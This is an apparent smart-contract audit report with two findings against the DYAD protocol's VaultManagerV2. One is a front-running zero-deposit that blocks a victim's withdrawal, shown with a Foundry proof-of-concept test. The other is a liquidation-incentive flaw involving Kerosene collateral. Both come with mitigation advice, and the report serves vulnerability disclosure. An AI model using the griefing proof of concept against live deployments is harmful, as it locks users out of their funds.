DYAD - Vasquez's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/src/core/VaultManagerV2.sol#L119 https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/src/core/VaultManagerV2.sol#L134

Vulnerability details

Impact

An attacker can call the deposit::VaultManagerV2.sol function, passing the id of the DNFT of another user and sending a small amount or even passing zero as amount and blocking them from withdrawing in the same block as the system doesn't allow depositing and withdrawing in the same block. This could happen with frontrunning.

Proof of Concept

Bob is the victim; he mints a DNFT and deposits 2 WETH in the WETH Vault. In the next block, he wants to withdraw, but the attacker front-runs him by depositing 0 WETH in his vault (account), and Bob is unable to do so. To test this, make a new file called BaseTestV2.t.sol in the test folder and add the following setup code with the test function:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import {DeployV2, Contracts} from "../script/deploy/Deploy.V2.s.sol";
import {Parameters} from "../src/params/Parameters.sol";
import {DNft} from "../src/core/DNft.sol";
import {Dyad} from "../src/core/Dyad.sol";
import {Licenser} from "../src/core/Licenser.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {Payments} from "../src/periphery/Payments.sol";
import {OracleMock} from "./OracleMock.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {KerosineManager} from "../src/core/KerosineManager.sol";
import {BoundedKerosineVault} from "../src/core/Vault.kerosine.bounded.sol";
import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol";
import {Kerosine} from "../src/staking/Kerosine.sol";
import {KerosineDenominator} from "../src/staking/KerosineDenominator.sol";

contract BaseTestV2 is Test {
    DNft dNft;
    Licenser vaultManagerLicenser;
    Licenser vaultLicenser;
    Dyad dyad;
    VaultManagerV2 vaultManager;
    Payments payments;
    KerosineManager kerosineManager;
    UnboundedKerosineVault unboundedKerosineVault;
    BoundedKerosineVault boundedKerosineVault;
    Kerosine kerosine;
    KerosineDenominator kerosineDenominator;

    // weth
    Vault wethVault;
    ERC20Mock weth;
    OracleMock wethOracle;

    //wstETH
    Vault wstEthVault;
    ERC20Mock wstEth;
    OracleMock wstEthOracle;

    //users
    address jack;
    address bob;
    address vasa;

    function setUp() public {
        vasa = makeAddr("vasa");
        bob = makeAddr("bob");

        vaultManagerLicenser = new Licenser();
        vaultLicenser = new Licenser();

        dyad = new Dyad(vaultManagerLicenser);

        dNft = new DNft();

        weth = new ERC20Mock("WETH-TEST", "WETHT");
        wethOracle = new OracleMock(1000e8);

        wstEth = new ERC20Mock("wstETH-TEST", "WSTETH");
        wstEthOracle = new OracleMock(1000e8);

        kerosine = new Kerosine();

        vaultManager = new VaultManagerV2(dNft, dyad, vaultLicenser);

        vaultManagerLicenser.add(address(vaultManager));

        wethVault = new Vault(vaultManager, weth, IAggregatorV3(address(wethOracle)));
        wstEthVault = new Vault(vaultManager, wstEth, IAggregatorV3(address(wstEthOracle)));

        kerosineManager = new KerosineManager();

        kerosineManager.add(address(wethVault));
        kerosineManager.add(address(wstEthVault));

        vaultManager.setKeroseneManager(kerosineManager);

        unboundedKerosineVault = new UnboundedKerosineVault(vaultManager, kerosine, dyad, kerosineManager);

        boundedKerosineVault = new BoundedKerosineVault(vaultManager, kerosine, kerosineManager);

        kerosineDenominator = new KerosineDenominator(kerosine);

        unboundedKerosineVault.setDenominator(kerosineDenominator);

        vaultLicenser.add(address(wethVault));
        vaultLicenser.add(address(wstEthVault));
        vaultLicenser.add(address(unboundedKerosineVault));
    }

 function testCanBlockWithraw() public {
        vm.deal(bob, 5 ether);
        vm.deal(vasa, 5 ether);
        vm.startPrank(bob);
        uint256 bobsNft = dNft.mintNft(bob);
        weth.mint(bob, 3e18);
        weth.approve(address(vaultManager), 100e18);
        vaultManager.add(bobsNft, address(wethVault));
        vaultManager.deposit(bobsNft, address(wethVault), 2e18);
        vm.stopPrank();

        vm.roll(block.number + 1);

        vm.startPrank(vasa);
        weth.mint(vasa, 3e18);
        vaultManager.deposit(bobsNft, address(wethVault), 0);
        vm.stopPrank();

        vm.startPrank(bob);
        vaultManager.withdraw(bobsNft, address(wethVault), 1e18, bob);
        vm.stopPrank();
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Allow only the owner of the DNFT to call the deposit function with the ID of their NFT, or set a minimum deposit amount (greater than zero) to make the attack significantly more costly.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/src/core/VaultManagerV2.sol#L241 https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/src/core/VaultManagerV2.sol#L213

Vulnerability details

Impact

Based on the protocol logic, a position can be liquidated only if it falls below 150% collateralization. When minting DYAD, one needs exocollateral of a value equal to the DYAD minted, while the rest of the collateral can be Kerosene. This could lead to situations where one has 100 USD of exocollateral, 50 USD of Kerosene, and 100 USD of DYAD. If the price of the exocollateral falls further, its value could drop below 100 USD, and other users would not have an incentive to liquidate this position. This is because in the liquidate::VaultManagerV2 function, the reward for the liquidator is constructed only from the holdings of exocollateral, while the liquidated position keeps all of its Kerosene.

Proof of Concept

For all the checks of the Collateral Ratio (CR), the protocol accounts for both Kerosene and Exocollateral in its calculations:

function collatRatio(uint256 id) public view returns (uint256) {
        uint256 _dyad = dyad.mintedDyad(address(this), id);
        if (_dyad == 0) return type(uint256).max;
        return getTotalUsdValue(id).divWadDown(_dyad);
    }

    function getTotalUsdValue(uint256 id) public view returns (uint256) {
        return getNonKeroseneValue(id) + getKeroseneValue(id);
    }

However, in the withdraw::VaultManagerV2 and mintDyad::VaultManagerV2 functions, the protocol is satisfied when the value of Exocollateral is at least equal to the minted DYAD value.

if (getNonKeroseneValue(id) < newDyadMinted)     revert NotEnoughExoCollat();

if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();

Therefore, it is possible for a position to have, for instance:

If the value of WETH falls below 100 USD, the position would be liquidatable, but liquidation would be unattractive to other users because of how the collateral is distributed. Only the Exocollateral is distributed to the liquidator.

      uint numberOfVaults = vaults[id].length(); //@audit-note - these are only the nonKerosene vaults
      for (uint i = 0; i < numberOfVaults; i++) {
          Vault vault      = Vault(vaults[id].at(i));
          uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
          vault.move(id, to, collateral);
      }

Tools Used

Manual Review

Recommended Mitigation Steps

A possible solution to improve liquidations is to let liquidators also receive some Kerosene, along with other collateral, from the positions they liquidate. This change would make liquidating more appealing and help keep the system stable, ensuring fair compensation for liquidators.

Assessed type

Context